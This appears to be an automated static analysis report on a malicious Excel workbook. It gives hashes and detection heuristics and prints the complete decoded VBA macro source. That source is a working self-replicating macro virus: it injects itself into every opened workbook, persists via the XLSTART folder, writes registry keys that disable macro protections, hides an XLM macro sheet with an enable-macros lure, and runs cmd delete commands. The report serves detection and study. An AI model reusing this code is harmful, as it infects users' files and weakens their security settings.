Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6cf5256ae1f2fd32…

MALICIOUS

Office (OLE)

70.0 KB Created: 2015-01-06 06:34:12 Authoring application: Microsoft Excel First seen: 2015-10-13
MD5: e1fffb92745beaf529deba34aa6922d0 SHA-1: 35454c5e219513fda438fa520c5e35f5e0c86540 SHA-256: 6cf5256ae1f2fd3223d7a562fd36faee5aff987f34dce43c7009f69bf4f8d5a1
584 Risk Score

Heuristics 15

  • ClamAV: Xls.Malware.Mailcab-6776806-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Mailcab-6776806-0
  • XLM Auto_Open workbook with payload URL or enable-content lure critical OLE_XLM_AUTOOPEN_PAYLOAD_LURE
    Workbook contains an Excel 4.0 macro sheet with Auto_Open / Auto_Close and also exposes a payload URL or enable-content lure in the OLE bytes. This combination is a high-confidence XLM downloader/social-engineering pattern even when formula recovery cannot decode the full macro chain.
  • Excel 4.0 (XLM) Auto_Open + macro sheet critical OLE_XLM_AUTOOPEN
    Workbook contains an Auto_Open / Auto_Close defined name together with an Excel 4.0 macro sheet — the canonical XLM auto-execution shape used by malware families such as Emotet and QakBot.
  • VBA macros detected medium 9 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\echo.XLS""", vbMinimizedFocus
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set oWshell = CreateObject("WScript.Shell")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .InsertLines 1, "Public WithEvents xx As Application"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath Then
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Private Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        FName = Environ("Temp") & "\" & ModuleName & ".bas"
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9990 bytes
SHA-256: fc31a99b0a7c05c06cb362553f66d50f8158a03b25a705ab68cc8b4fbb62c073
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public WithEvents xx As Application
Attribute xx.VB_VarHelpID = -1
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call Do_What
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
CopyStart wb
Application.ScreenUpdating = True
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "echo"

Private Sub Auto_Open()
Application.DisplayAlerts = False
If ThisWorkbook.Path <> Application.StartupPath Then
  Application.ScreenUpdating = False
  Call Delete_This_WK
  Call CopyToWorkBook
  If Sheets(1).Name <> "Macro1" Then MoveMacro4 ThisWorkbook
  ThisWorkbook.Save
  Application.ScreenUpdating = True
End If
End Sub

Private Sub CopyToWorkBook()
  Const DQUOTE = """"
  With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
.InsertLines 1, "Public WithEvents xx As Application"
.InsertLines 2, "Private Sub Workbook_open()"
.InsertLines 3, "Set xx = Application"
.InsertLines 4, "On Error Resume Next"
.InsertLines 5, "Application.DisplayAlerts = False"
.InsertLines 6, "Call Do_What"
.InsertLines 7, "End Sub"
.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
.InsertLines 9, "On Error Resume Next"
.InsertLines 10, "wb.VBProject.References.AddFromGuid _"
.InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
.InsertLines 12, "Major:=5, Minor:=3"
.InsertLines 13, "Application.ScreenUpdating = False"
.InsertLines 14, "Application.DisplayAlerts = False"
.InsertLines 15, "CopyStart wb"
.InsertLines 16, "Application.ScreenUpdating = True"
.InsertLines 17, "End Sub"
End With
End Sub

Private Sub Delete_This_WK()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule
Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents("ThisWorkbook")
Set CodeMod = VBComp.CodeModule
With CodeMod
    .DeleteLines 1, .CountOfLines
End With
End Sub

Function Do_What()
If ThisWorkbook.Path <> Application.StartupPath Then
  RestoreAfterOpen
  Call OpenDoor
  Call Microsofthobby
  Call Hacking
End If
End Function

Function CopyStart(ByVal wb As Workbook)
On Error Resume Next
Dim VBProj1 As VBIDE.VBProject
Dim VBProj2 As VBIDE.VBProject
Set VBProj1 = Workbooks("echo.xls").VBProject
Set VBProj2 = wb.VBProject
If CopyModule("echo", VBProj1, VBProj2, False) Then Exit Function
End Function

Function CopyModule(ModuleName As String, _
    FromVBProject As VBIDE.VBProject, _
    ToVBProject As VBIDE.VBProject, _
    OverwriteExisting As Boolean) As Boolean
    On Error Resume Next
    Dim VBComp As VBIDE.VBComponent
    Dim FName As String
    Dim CompName As String
    Dim S As String
    Dim SlashPos As Long
    Dim ExtPos As Long
    Dim TempVBComp As VBIDE.VBComponent

    If FromVBProject Is Nothing Then
        CopyModule = False
        Exit Function
    End If
    
    If Trim(ModuleName) = vbNullString Then
        CopyModule = False
        Exit Function
    End If
    
    If ToVBProject Is Nothing Then
        CopyModule = False
        Exit Function
    End If
    
    If FromVBProject.Protection = vbext_pp_locked Then
        CopyModule = False
        Exit Function
    End If
    
    If ToVBProject.Protection = vbext_pp_locked Then
        CopyModule = False
        Exit Function
    End If
    
    On Error Resume Next
    Set VBComp = FromVBProject.VBComponents(ModuleName)
    If Err.Number <> 0 Then
        CopyModule = False
        Exit Function
    End If
   
    FName = Environ("Temp") & "\" & ModuleName & ".bas"
    If OverwriteExisting = True Then
       
        If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
            Err.Clear
            Kill FName
            If Err.Number <> 0 Then
                CopyModule = False
                Exit Function
            End If
        End If
        With ToVBProject.VBComponents
            .Remove .Item(ModuleName)
        End With
    Else
        
        Err.Clear
        Set VBComp = ToVBProject.VBComponents(ModuleName)
        If Err.Number <> 0 Then
            If Err.Number = 9 Then
               
            Else
               
                CopyModule = False
                Exit Function
            End If
        End If
    End If
   
    FromVBProject.VBComponents(ModuleName).Export FileName:=FName
   
    SlashPos = InStrRev(FName, "\")
    ExtPos = InStrRev(FName, ".")
    CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
    
    Set VBComp = Nothing
    Set VBComp = ToVBProject.VBComponents(CompName)
    
    If VBComp Is Nothing Then
        ToVBProject.VBComponents.Import FileName:=FName
    Else
        If VBComp.Type = vbext_ct_Document Then
            
            Set TempVBComp = ToVBProject.VBComponents.Import(FName)
           
            With VBComp.CodeModule
                .DeleteLines 1, .CountOfLines
                S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
                .InsertLines 1, S
            End With
            On Error GoTo 0
            ToVBProject.VBComponents.Remove TempVBComp
        End If
    End If
    Kill FName
    CopyModule = True
End Function

Function Microsofthobby()
Dim myfile0 As String
Dim MyFile As String
On Error Resume Next
myfile0 = ThisWorkbook.FullName
MyFile = Application.StartupPath & "\echo.xls"
If WorkbookOpen("echo.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("echo.xls").Close False
shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\echo.XLS""", vbMinimizedFocus
shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\echo.XLS""", vbMinimizedFocus
shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\echo.XLS""", vbMinimizedFocus

If ThisWorkbook.Path <> Application.StartupPath Then
     Application.ScreenUpdating = False
     ThisWorkbook.IsAddin = True
     ThisWorkbook.SaveCopyAs MyFile
     ThisWorkbook.IsAddin = False
     Application.ScreenUpdating = True
End If
End Function

Function OpenDoor()
Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
Dim KValue1 As Variant, KValue2 As Variant
Dim VS As String
On Error Resume Next
VS = Application.Version
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")

RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"
RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"

KValue1 = 1
KValue2 = 1

      Call WReg(RK1, KValue1, "REG_DWORD")
      Call WReg(RK2, KValue2, "REG_DWORD")
      Call WReg(RK3, KValue1, "REG_DWORD")
      Call WReg(RK4, KValue2, "REG_DWORD")

End Function

Sub WReg(strkey As String, Value As Variant, ValueType As String)
    Dim oWshell
    Set oWshell = CreateObject("WScript.Shell")
    If ValueType = "" Then
        oWshell.RegWrite strkey, Value
    Else
        oWshell.RegWrite strkey, Value, ValueType
    End If
    Set oWshell = Nothing
End Sub


Private Sub MoveMacro4(ByVal wb As Workbook)
On Error Resume Next

  Dim sht As Object

    wb.Sheets(1).Select
    Sheets.Add Type:=xlExcel4MacroSheet
    ActiveSheet.Name = "Macro1"
   
    Range("A2").Select
    ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
    Range("A3").Select
    ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" & Application.UserName & """))=4)"
    Range("A4").Select
    ActiveCell.FormulaR1C1 = "=ALERT(""禁用宏，关闭 " & Chr(10) & Now & Chr(10) & "Please Enable Macro!"",3)"
    Range("A5").Select
    ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"
    Range("A6").Select
    ActiveCell.FormulaR1C1 = "=END.IF()"
    Range("A7").Select
    ActiveCell.FormulaR1C1 = "=RETURN()"
    
    For Each sht In wb.Sheets
    wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
    Next
    wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
End Sub

Private Function WorkbookOpen(WorkBookName As String) As Boolean
  WorkbookOpen = False
  On Error GoTo WorkBookNotOpen
  If Len(Application.Workbooks(WorkBookName).Name) > 0 Then
    WorkbookOpen = True
    Exit Function
  End If
WorkBookNotOpen:
End Function

Private Function RestoreAfterOpen()
Dim sht, del_sht, rng, del_frag As Boolean
On Error Resume Next
del_sht = ActiveSheet.Name
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each sht In ThisWorkbook.Sheets
    If sht.Name <> "Macro1" Then sht.Visible = xlSheetVisible
Next
For Each rng In Sheets(del_sht).Range("A1:F15")
If InStr(rng.Value, "CONFIDENTIAL") > 0 Then
del_frag = True
Exit For
End If
Next
If del_frag = True Then Sheets(del_sht).Delete
Application.ScreenUpdating = True

End Function

Private Sub Hacking()
'this's hacking code
shell "explorer tencent://message/?uin=654486740"
End Sub

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